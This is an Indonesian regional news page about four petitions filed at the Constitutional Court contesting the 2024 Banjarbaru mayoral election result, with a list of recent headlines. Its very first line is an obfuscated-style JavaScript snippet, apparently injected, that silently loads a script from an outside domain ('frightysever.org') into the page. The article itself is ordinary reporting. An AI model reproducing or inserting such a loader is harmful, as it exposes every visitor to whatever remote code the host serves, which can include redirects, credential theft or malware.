(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Sengketa Hasil Pilwali Banjarbaru di MK, Empat Pemohon Ajukan Gugatan


KANALKALIMANTAN.COM, BANJARBARU – Empat buah pengajuan permohonan telah dilayangkan ke Mahkamah Konstitusi (MK), pasca penetapan hasil Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarbaru 2024.

Berdasarkan penelusuran di laman MK pada Kamis (5/12/2024) siang, empat pengajuan permohonan yang dilayangkan itu tercatat adalah tentang perselisihan hasil Pilwali Banjarbaru yang ditetapkan melalui Keputusan KPU Banjarbaru Nomor 191 Tahun 2024 .

Empat pengajuan permohonan itu tak lama lagi akan bergulir di MK dengan permohonan pertama yang tercatat dilayangkan oleh Muhammad Arifin, pada Rabu (4/12/2024) pukul 16.28 WIB bernomor 5/PAN.MK/e-AP3/12/2024.

Baca juga: Gugatan Pilwali Banjarbaru ke MK, Tim Haram Manyarah Perjuangkan Pemilihan Ulang

Permohonan kedua dari Udiansyah dan Abd Karim di tanggal dan waktu yang sama. Dengan nomor pengajuan permohonan bernomor 6/PAN.MK/e-AP3/12/2024.

Kemudian ada permohonan ketiga terkait perselisihan hasil Pilwali Banjarbaru turut dilayangkan oleh HE Benyamine dan kawan-kawan, pada Rabu (4/12/2024) pukul 16.36 WIB. Nomor permohonan yang tercatat yakni nomor 7/PAN.MK/e-AP3/12/2024.

Terakhir, permohonan disampaikan oleh Said Abdullah yang tak lain merupakan mantan calon Wakil Wali Kota Banjarbaru. Dengan nomor permohonan yakni nomor 9/PAN.MK/e-AP3/12/2024.

Baca juga: Wisuda 20 Murid Sekolah Lansia BKL Kasturi

Diketahui sebelumnya, Ketua KPU Provinsi Kalimantan Selatan (Kalsel), Andi Tenri Sompa mempersilahkan jika ada pihak-pihak yang ingin menggugat hasil penetapan Pilwali Banjarbaru.

Apalagi katanya, Undang-Undang memperbolehkan adanya pihak yang mengajukan sengketa hasil Pilkada.

“Dan terkait dengan polemik yang terjadi karena sudah ditetapkan tentunya kemudian pihak-pihak yang ditentukan dengan Undang-Undang boleh melakukan gugatan,” kata Tenri usai rapat pleno terbuka rekapitulasi dan penetapan hasil Pilwali Banjarbaru, Senin (2/12/2024).

Baca juga: KMBPD Batalkan Aksi Unjuk Rasa ke KPU Banjarbaru

Gugatan itu, katanya, dapat dilakukan terbuka dalam waktu tiga hari ke Mahkamah Konstitusi mengacu pada Peraturan MK Nomor 4 Tahun 2024. Kemudian menurut Pasal 70 PKPU Nomor 18 Tahun 2024 juga diatur terkait prosedur penyelesaian perselisihan hasil Pilkada 2024.

“Itu terbuka dalam waktu tiga hari diberi ruang jika ada sengketa hasil,” tandasnya. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.